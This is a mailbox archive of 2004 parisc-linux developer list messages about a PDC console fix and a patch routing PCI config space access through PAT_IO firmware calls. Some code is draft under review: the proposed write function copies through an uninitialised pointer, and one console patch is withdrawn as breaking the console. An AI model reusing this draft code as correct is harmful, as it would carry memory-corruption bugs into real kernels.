__pa(PAGE0-&gt;mem_cons.dp.layers), </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp; __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, =
0);</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>} else if =
(PAGE0-&gt;mem_kbd.iodc_io) {</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>real32_call(PAGE0-&gt;mem_kbd.iodc_io,</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp; (unsigned long)PAGE0-&gt;mem_kbd.hpa, =
ENTRY_IO_CIN,</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp; PAGE0-&gt;mem_kbd.spa, =
__pa(PAGE0-&gt;mem_kbd.dp.layers), </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp; __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, =
0);</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>} else =
{</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>spin_unlock_irqrestore(&amp;pdc_lock, flags);</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>return =
0;</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>}</FONT>
</P>

<P><FONT SIZE=3D2>Slightly ugly to have two unlocks for the same lock, =
but that's better</FONT>
<BR><FONT SIZE=3D2>than duplicating the test.&nbsp; I haven't looked at =
the code, maybe we could</FONT>
<BR><FONT SIZE=3D2>use a goto instead.</FONT>
</P>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>&quot;Next the statesmen will invent cheap lies, =
putting the blame upon </FONT>
<BR><FONT SIZE=3D2>the nation that is attacked, and every man will be =
glad of those</FONT>
<BR><FONT SIZE=3D2>conscience-soothing falsities, and will diligently =
study them, and refuse</FONT>
<BR><FONT SIZE=3D2>to examine any refutations of them; and thus he will =
by and by convince </FONT>
<BR><FONT SIZE=3D2>himself that the war is just, and will thank God for =
the better sleep </FONT>
<BR><FONT SIZE=3D2>he enjoys after this process of grotesque =
self-deception.&quot; -- Mark Twain</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>------------------------------</FONT>
</P>

<P><FONT SIZE=3D2>Message: 2</FONT>
<BR><FONT SIZE=3D2>Date: Mon, 26 Jan 2004 19:20:26 +0100</FONT>
<BR><FONT SIZE=3D2>From: &quot;Joel Soete&quot; =
&lt;soete.joel@tiscali.be&gt;</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [parisc-linux] A fix for B2k and =
CONFIG_PDC_CONSOLE pb</FONT>
<BR><FONT SIZE=3D2>To: &quot;Matthew Wilcox&quot; =
&lt;willy@debian.org&gt;</FONT>
<BR><FONT SIZE=3D2>Cc: Christoph Plattner =
&lt;christoph.plattner@gmx.at&gt;,&nbsp;&nbsp;&nbsp;&nbsp; Grant =
Grundler</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&lt;grundler@parisc-linux.org&gt;,&nbsp;&nbsp;&nbsp; =
parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>Message-ID: =
&lt;40153110000001C0@ocpmta2.freegates.net&gt;</FONT>
<BR><FONT SIZE=3D2>Content-Type: text/plain; =
charset=3D&quot;ISO-8859-1&quot;</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>&gt; +&nbsp;&nbsp;&nbsp;&nbsp; if =
((PAGE0-&gt;mem_cons.cl_class !=3D CL_DUPLEX) &amp;&amp; =
!PAGE0-&gt;mem_kbd.iodc_io)</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;</FONT>
<BR><FONT SIZE=3D2>Right Matthew this case is nearly impossible (may be =
excepted if disconected</FONT>
<BR><FONT SIZE=3D2>the usb kbd during the boot), it would means that my =
pdc_console is not a</FONT>
<BR><FONT SIZE=3D2>serial one (ie graphic([01])) but no usb kdb found, =
so in that case pdc would</FONT>
<BR><FONT SIZE=3D2>switch console automaticaly to serial.</FONT>
</P>

<P><FONT SIZE=3D2>I would just still check the case when I have an usb =
kbd (I would have to</FONT>
<BR><FONT SIZE=3D2>recover one) but the pdc console is setup to serial =
port (eg no graphic screen</FONT>
<BR><FONT SIZE=3D2>available) just for an output screen without input =
kbd? </FONT>
</P>

<P><FONT SIZE=3D2>Thanks for your attention and remarks,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; Joel</FONT>
</P>
<BR>

<P><FONT =
SIZE=3D2>---------------------------------------------------------------=
----------</FONT>
<BR><FONT SIZE=3D2>Tiscali ADSL: 12 mois =E0 29,50 &#8364;/mois! =
L'Internet rapide, c'est pour tout</FONT>
<BR><FONT SIZE=3D2>le monde.</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"http://reg.tiscali.be/default.asp?lg=3Dfr" =
TARGET=3D"_blank">http://reg.tiscali.be/default.asp?lg=3Dfr</A></FONT>
</P>
<BR>
<BR>
<BR>

<P><FONT SIZE=3D2>------------------------------</FONT>
</P>

<P><FONT SIZE=3D2>Message: 3</FONT>
<BR><FONT SIZE=3D2>Date: Mon, 26 Jan 2004 19:38:50 +0100</FONT>
<BR><FONT SIZE=3D2>From: &quot;Joel Soete&quot; =
&lt;soete.joel@tiscali.be&gt;</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [parisc-linux] A fix for B2k and =
CONFIG_PDC_CONSOLE pb</FONT>
<BR><FONT SIZE=3D2>To: &quot;Matthew Wilcox&quot; =
&lt;willy@debian.org&gt;</FONT>
<BR><FONT SIZE=3D2>Cc: Christoph Plattner =
&lt;christoph.plattner@gmx.at&gt;,&nbsp;&nbsp;&nbsp;&nbsp; Grant =
Grundler</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&lt;grundler@parisc-linux.org&gt;,&nbsp;&nbsp;&nbsp; =
parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>Message-ID: =
&lt;4015311000000204@ocpmta2.freegates.net&gt;</FONT>
<BR><FONT SIZE=3D2>Content-Type: text/plain; =
charset=3D&quot;ISO-8859-1&quot;</FONT>
</P>

<P><FONT SIZE=3D2>Sorry for auto reply, but I just find back the right =
kdb and:</FONT>
</P>

<P><FONT SIZE=3D2>&gt;I would just still check the case when I have an =
usb kbd (I would have to</FONT>
<BR><FONT SIZE=3D2>&gt;recover one) but the pdc console is setup to =
serial port (e</FONT>
<BR><FONT SIZE=3D2>&gt;no graphic screen available) just for an output =
screen without input kbd?</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>That case is also impossible, the console setup as =
serial_1 (eg) is always</FONT>
<BR><FONT SIZE=3D2>CL_DUPLEX :(</FONT>
</P>

<P><FONT SIZE=3D2>I will so review my patch.</FONT>
</P>

<P><FONT SIZE=3D2>Thanks for all,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; Joel</FONT>
</P>
<BR>

<P><FONT =
SIZE=3D2>---------------------------------------------------------------=
----------</FONT>
<BR><FONT SIZE=3D2>Tiscali ADSL: 12 mois =E0 29,50 &#8364;/mois! =
L'Internet rapide, c'est pour tout</FONT>
<BR><FONT SIZE=3D2>le monde.</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"http://reg.tiscali.be/default.asp?lg=3Dfr" =
TARGET=3D"_blank">http://reg.tiscali.be/default.asp?lg=3Dfr</A></FONT>
</P>
<BR>
<BR>
<BR>

<P><FONT SIZE=3D2>------------------------------</FONT>
</P>

<P><FONT =
SIZE=3D2>_______________________________________________</FONT>
<BR><FONT SIZE=3D2>parisc-linux mailing list</FONT>
<BR><FONT SIZE=3D2>parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"http://lists.parisc-linux.org/mailman/listinfo/parisc-linux" =
TARGET=3D"_blank">http://lists.parisc-linux.org/mailman/listinfo/parisc-=
linux</A></FONT>
</P>
<BR>

<P><FONT SIZE=3D2>End of parisc-linux Digest, Vol 2, Issue 33</FONT>
<BR><FONT SIZE=3D2>*******************************************</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_003_01C3E43E.A9554970--


From - Thu Nov 08 21:30:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Naresh Kumar <knaresh@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Using PAT_IO calls for PCI config space reads and
	writes.
Date: Tue, 27 Jan 2004 14:09:38 +0530
Lines: 174
Approved: news@gmane.org
Message-ID: <401623CA.59AE3CCD@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623153 4873 80.91.229.3 (22 Nov 2014 02:25:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: knaresh@india.hp.com  Tue Jan 27 01:39:56 2004
Return-Path: <knaresh@india.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D2CC484B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 01:39:56 -0700 (MST)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by palrel13.hp.com (Postfix) with ESMTP id A58EC1C02B4C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 00:39:54 -0800 (PST)
Original-Received: from india.hp.com (eb9856.india.hp.com [15.76.98.56])
	by redsea.india.hp.com (8.9.3 (PHNE_29774)/8.9.3 SMKit7.02) with ESMTP
	id OAA08623 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 14:23:12 +0530 (IST)
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Jan 2004 08:39:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20709

Hi all,

When I was trying to bring up PA-Linux-2.4 on some of the newer boxes, I
discovered that reads/writes from the PCI config space were failing (
system crashes and hangs during the boot). Currently, reads and writes
to the config space happen through memory loads and stores to PCI config
addresses directly  (lba_cfg_[read|write]##size in lba_pci.c ). Grant
Grundler advised me to use PDC_PAT_IO calls instead, for PAT based
systems, since they are more reliable and take care of border cases on
newer systems. I have made the changes and tested them on an L-Class
system. I am posting the diff of the files I have changed. The changes
have been made to three files:

1. arch/parisc/kernel/firmware.c - Rev 1.47
2. arch/parisc/kernel/lba_pci.c - Rev 1.54
3. include/asm-parisc/pdc.h - Rev 1.48

Kindly let me know your comments:

--------------------START------------------------------------------------------------------------------

--- lba_pci.c.1.54       Fri Jan 23 15:47:41 2004
+++ lba_pci.c.modified   Fri Jan 23 15:53:15 2004
@@ -504,6 +504,13 @@ lba_rd_cfg(struct lba_device *d, u32 tok
        return(data);
 }

+#ifdef __LP64__
+#define PAT_CFG_READ(a,b,c)    pdc_pat_io_pci_cfg_read(a,b,c)
+#define PAT_CFG_WRITE(a,b,c)   pdc_pat_io_pci_cfg_write(a,b,c)
+#else
+#define PAT_CFG_READ(a,b,c)
+#define PAT_CFG_WRITE(a,b,c)
+#endif

 #define LBA_CFG_RD(size, mask) \
 static int lba_cfg_read##size (struct pci_dev *dev, int pos, u##size
*data) \
@@ -512,6 +519,21 @@ static int lba_cfg_read##size (struct pc
        u32 local_bus = (dev->bus->parent == NULL) ? 0 :
dev->bus->secondary; \
        u32 tok = LBA_CFG_TOK(local_bus,dev->devfn); \
  \
+       if (is_pdc_pat()) { \
+               int ret; \
+               tok = LBA_CFG_TOK(dev->bus->number,dev->devfn); \
+               ret = PAT_CFG_READ((tok | pos ), \
+                                        sizeof(u##size), (u##size *)
data); \
+               if ( ret == 0 ) { \
+                       DBG_CFG("%s(%s+%2x) -> 0x%x (c)\n",
__FUNCTION__, dev->slot_name, pos, *data
); \
+                       return(*data == (u##size) -1); \
+               } else { \
+                       DBG_CFG("LBA: CFG read failed: ret = %d,
d->hba.base_addr = 0x%lx\n", \
+                                               ret, d->hba.base_addr );
\
+                       return (1); \
+               } \
+       } \
+ \
 /* FIXME: B2K/C3600 workaround is always use old method... */ \
        /* if (!LBA_TR4PLUS(d) && !LBA_SKIP_PROBE(d)) */ { \
                /* original - Generate config cycle on broken elroy \
@@ -611,6 +633,11 @@ static int lba_cfg_write##size (struct p
        } \
  \
        DBG_CFG("%s(%s+%2x) = 0x%x (c)\n", __FUNCTION__, dev->slot_name,
pos, data); \
+       if (is_pdc_pat()) { \
+               tok = LBA_CFG_TOK(dev->bus->number,dev->devfn); \
+               PAT_CFG_WRITE((tok | pos ), sizeof(u##size), (u##size
*)&data); \
+               return 0; \
+       } \
        /* Basic Algorithm */ \
        LBA_CFG_TR4_ADDR_SETUP(d, tok | pos); \
        WRITE_REG##size(data, d->hba.base_addr + LBA_PCI_CFG_DATA + (pos
& mask)); \
-------------------------------------END---------------------------------------------------------------

------------------------------------START-------------------------------------------------------------

--- firmware.c.1.47      Fri Jan 23 16:57:51 2004
+++ firmware.c.modified   Tue Jan 27 12:32:43 2004
@@ -1035,6 +1035,46 @@ int pdc_pat_pd_get_addr_map(unsigned lon

        return retval;
 }
+
+/**
+ * pdc_pat_io_pci_cfg_read - Read PCI configuration space.
+ * @pci_addr: PCI configuration space address for which the read
request is being made.
+ * @pci_size: Size of read in bytes. Valid values are 1, 2, and 4.
+ * @mem_addr: Pointer to return memory buffer.
+ *
+ */
+int pdc_pat_io_pci_cfg_read(unsigned long pci_addr, int pci_size, void
*mem_addr)
+{
+       int retval;
+       spin_lock_irq(&pdc_lock);
+       retval = mem_pdc_call(PDC_PAT_IO, PDC_PAT_IO_PCI_CONFIG_READ,
__pa(pdc_result),
+                             pci_addr, pci_size);
+       memcpy((char *)mem_addr, (char *) ((char *)pdc_result +
(sizeof(unsigned long) - pci_size))
, pci_size);
+       spin_unlock_irq(&pdc_lock);
+
+       return retval;
+}
+
+/**
+ * pdc_pat_io_pci_cfg_write - Retrieve information about memory address
ranges.
+ * @pci_addr: PCI configuration space address for which the write
request is being made.
+ * @pci_size: Size of write in bytes. Valid values are 1, 2, and 4.
+ * @value: Pointer to 1, 2, or 4 byte value in low order end of
argument to be
+ *         written to PCI Config space.
+ *
+ */
+int pdc_pat_io_pci_cfg_write(unsigned long pci_addr, int pci_size, void
*value)
+{
+       int retval;
+       unsigned long *val_ptr;
+       spin_lock_irq(&pdc_lock);
+       memcpy((char *)((char *)val_ptr + (sizeof(unsigned long) -
pci_size)), (char *)value, pci_si
ze);
+       retval = mem_pdc_call(PDC_PAT_IO, PDC_PAT_IO_PCI_CONFIG_WRITE,
pci_addr,
+                             pci_size, *val_ptr);
+       spin_unlock_irq(&pdc_lock);
+
+       return retval;
+}
 #endif /* __LP64__ */
-------------------------------------END---------------------------------------------------------------

------------------------------------START-------------------------------------------------------------

--- pdc.h.1.48   Fri Jan 23 16:57:52 2004
+++ pdc.h.modified        Fri Jan 23 12:21:46 2004
@@ -972,6 +972,8 @@ int pdc_pat_get_irt_size(unsigned long *
 int pdc_pat_get_irt(void *r_addr, unsigned long cell_num);
 int pdc_pat_pd_get_addr_map(unsigned long *actual_len, void *mem_addr,
                            unsigned long count, unsigned long offset);
+int pdc_pat_io_pci_cfg_read(unsigned long pci_addr, int pci_size, void
*mem_addr);
+int pdc_pat_io_pci_cfg_write(unsigned long pci_addr, int pci_size, void
*value);

 /******************************************************************** *

 *PDC_PAT_CELL[Return Cell Module] memaddr[0] conf_base_addr
-------------------------------------END---------------------------------------------------------------

A couple of questions:
1. In the definition of 'pdc_pat_io_pci_cfg_read( )' and
'pdc_pat_io_pci_cfg_write( )' above, can I  use 'cpu_to_le64( )' kind of
function instead of ordering the bytes manually in the 'memcpy( )'?
2. Can these changes be propagated to 2.6 also?

Thanks,
Naresh.



From - Thu Nov 08 21:30:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Naresh Kumar <knaresh@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] error?
Date: Tue, 27 Jan 2004 15:16:16 +0530
Lines: 71
Approved: news@gmane.org
Message-ID: <40163368.74DACC64@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="------------84804BA52793463AE6466BA0"
X-Trace: ger.gmane.org 1416623153 4875 80.91.229.3 (22 Nov 2014 02:25:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: knaresh@india.hp.com  Tue Jan 27 02:46:39 2004
Return-Path: <knaresh@india.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB2F4484B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 02:46:39 -0700 (MST)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by atlrel6.hp.com (Postfix) with ESMTP id C0FEA1C0110F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 04:46:33 -0500 (EST)
Original-Received: from india.hp.com (eb9856.india.hp.com [15.76.98.56])
	by redsea.india.hp.com (8.9.3 (PHNE_29774)/8.9.3 SMKit7.02) with ESMTP
	id PAA15238 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 15:29:50 +0530 (IST)
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Jan 2004 09:46:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20710


--------------84804BA52793463AE6466BA0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,
I noticed in the function 'linux-2.6/drivers/parisc/lba_pci.c:
lba_pat_resources( )' the following lines:

---------------------------------------------------------------
  case PAT_GMMIO:

   r = &(lba_dev->hba.gmmio_space);
   r->name   = "LBA GMMIO";
   r->start  = p->start;
   r->end    = p->end;
   r->flags  = IORESOURCE_MEM;
   r->parent = r->sibling = r->child = NULL;
   break;
   lba_dev->gmmio_base = p->start;
   break;

  case PAT_NPIOP:
    printk(KERN_WARNING MODULE_NAME
    " range[%d] : ignoring NPIOP (0x%lx)\n",
    i, p->start);
   break;
-------------------------------------------------------------------

Please note the extra lines after the 'break;'. The version of
'lba_pci.c' is 1.7. Seems to have happened due to oversight.

Thanks,
Naresh.


--------------84804BA52793463AE6466BA0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Hi,
<br>I noticed in the function 'linux-2.6/drivers/parisc/lba_pci.c: lba_pat_resources(
)' the following lines:
<p>---------------------------------------------------------------
<br>&nbsp; case PAT_GMMIO:
<p>&nbsp;&nbsp; r = &amp;(lba_dev->hba.gmmio_space);
<br>&nbsp;&nbsp; r->name&nbsp;&nbsp; = "LBA GMMIO";
<br>&nbsp;&nbsp; r->start&nbsp; = p->start;
<br>&nbsp;&nbsp; r->end&nbsp;&nbsp;&nbsp; = p->end;
<br>&nbsp;&nbsp; r->flags&nbsp; = IORESOURCE_MEM;
<br>&nbsp;&nbsp; r->parent = r->sibling = r->child = NULL;
<br>&nbsp;&nbsp; break;
<br><b><i>&nbsp;&nbsp; lba_dev->gmmio_base = p->start;</i></b>
<br><b><i>&nbsp;&nbsp; break;</i></b>
<p>&nbsp; case PAT_NPIOP:
<br>&nbsp;&nbsp;&nbsp; printk(KERN_WARNING MODULE_NAME
<br>&nbsp;&nbsp;&nbsp; " range[%d] : ignoring NPIOP (0x%lx)\n",
<br>&nbsp;&nbsp;&nbsp; i, p->start);
<br>&nbsp;&nbsp; break;
<br>-------------------------------------------------------------------
<p>Please note the extra lines after the 'break;'. The version of 'lba_pci.c'
is 1.7. Seems to have happened due to oversight.
<p>Thanks,
<br>Naresh.
<br>&nbsp;</html>

--------------84804BA52793463AE6466BA0--



From - Thu Nov 08 21:30:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A fix for B2k and CONFIG_PDC_CONSOLE pb
Date: Tue, 27 Jan 2004 18:17:30 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <400CB8A100005C3D@ocpmta3.freegates.net>
References: <20040126172505.GQ11844@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623153 4877 80.91.229.3 (22 Nov 2014 02:25:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:53 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@gmx.at>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Tue Jan 27 10:17:38 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02BAB4843
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 10:17:38 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AlWqC-000568-00; Tue, 27 Jan 2004 18:17:32 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 27 Jan 2004 18:17:30 +0100
In-Reply-To: <20040126172505.GQ11844@parcelfarce.linux.theplanet.co.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Jan 2004 17:17:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20711

Hi all,

Sorry but don't apply this this patch, I just do more test and unfortunately
it broken sti console :(.

hmm I check  a bit more but mem_kbd.iodc_io was always zero?
and I don't notice any diference in PAGE0->mem_kbd... between a boot with
console set to graphics(0) and a boot with serial_1?

Any idea?

Thanks again,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Using PAT_IO calls for PCI config space reads and
	writes.
Date: Tue, 27 Jan 2004 10:20:51 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20040127172051.GA28476@colo.lackof.org>
References: <401623CA.59AE3CCD@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623154 4878 80.91.229.3 (22 Nov 2014 02:25:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Naresh Kumar <knaresh@india.hp.com>
Original-X-From: grundler@lackof.org  Tue Jan 27 10:20:53 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4F9D4843
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 10:20:52 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 196AF298057; Tue, 27 Jan 2004 10:20:52 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 28313-10; Tue, 27 Jan 2004 10:20:51 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6E9AE298052; Tue, 27 Jan 2004 10:20:51 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <401623CA.59AE3CCD@india.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
